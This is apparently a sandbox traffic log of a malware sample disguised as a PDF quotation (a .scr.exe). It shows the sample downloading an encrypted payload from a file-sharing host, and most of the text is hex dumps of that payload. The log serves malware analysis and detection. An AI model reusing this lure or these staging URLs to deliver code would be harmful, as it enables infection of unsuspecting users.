2024-10-04 09:25:29 UTC	1369	IN	Data Raw: 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 Data Ascii: Xp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSU
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 Data Ascii: LB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 Data Ascii: #IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 Data Ascii: 8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef Data Ascii: u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0
2024-10-04 09:25:29 UTC	1369	IN	Data Raw: 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 Data Ascii: $dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50228	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:32 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:32 UTC	1074	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=u49hvg422vq3s2tbr0nfc6ce85; expires=Fri, 18-Oct-2024 09:25:32 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/FecmNNRs2mj0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TTJGbrd7v%2BrugrKLC%2F8h57OYXSZ6gD%2BiduoBGNsCfA%2FYiaAc6tjiCX15DhTgC%2FU9tGcTHQ24cE5CwIwUwrwDAjJUUbMNlRonyvDkemRvQRsfvdJJ6CXD%2F8%2FjNM4XwPXl3TE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4200c28988c2f-EWR
2024-10-04 09:25:32 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 46 65 63 6d 4e 4e 52 73 32 6d 6a 30 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/FecmNNRs2mj0">Please click here to continue</a>.</p>
2024-10-04 09:25:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50229	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:33 UTC	98	OUT	GET /storage/download/FecmNNRs2mj0 HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:34 UTC	1058	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:34 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=853ed57d86db21cf40679a7cb2208de8; expires=Fri, 18-Oct-2024 09:25:33 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B2si41OYsVsxw1HRap21ss95oE3R0FJ2pAbeYsuouCyfZWIDN0u%2FAf%2BrWHfm%2F6rdAwL4UZI%2F0ajNFRjpJRCrvggA5AtFKaEyjbap87%2FdVTHIbe7I3jWfSK41iOR9InY5vSx03i%2FC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd4201488a17288-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:25:34 UTC	311	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 54 32 39 25 67 7f b1 57 7c 19 01 a6 7d b7 39 12 c5 6d b5 8e 3f d7 5d d8 04 24 0b f3 31 0d 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 Data Ascii: T29%gW\|}9m?]$1IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 82 cf 8e 39 7a d2 f7 2c 18 09 96 75 a1 f0 db df 5f f9 0d 8d 87 b3 97 eb 10 2d 5a 3f ac b1 f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 Data Ascii: 9z,u_-Z?GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 2e c2 3b 92 38 e0 b0 1b da c8 3d ca bb 55 29 e6 7c 29 83 10 6c bc 8d 29 14 72 9b 9e 4a 72 f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb Data Ascii: .;8=U)\|)l)rJrXp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: db 5f db f5 79 ca 22 e5 fa a5 31 da 05 67 3e 2f 39 cc 25 85 1b 7b 64 87 02 5e d4 e4 04 db 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b Data Ascii: _y"1g>/9%{d^}Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~V
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: de a6 1e 01 e1 0b ac cd dc a8 5b 71 39 a8 c8 a1 87 bf 2e 2d 7b 90 86 22 cd 9e 89 12 6f 80 b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 Data Ascii: [q9.-{"oLB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoK
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 87 e2 6b c9 da 83 7a a4 9d b8 f8 5f b0 26 08 84 e2 26 75 5d b1 ac 05 b2 a5 dd f9 ff 83 5e 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 Data Ascii: kz_&&u]^#IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 49 7b f6 d2 9e a9 5c 07 25 a2 f9 0b f5 32 b9 99 24 40 06 33 14 a2 41 e1 7b 04 3a 5d fd 11 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 Data Ascii: 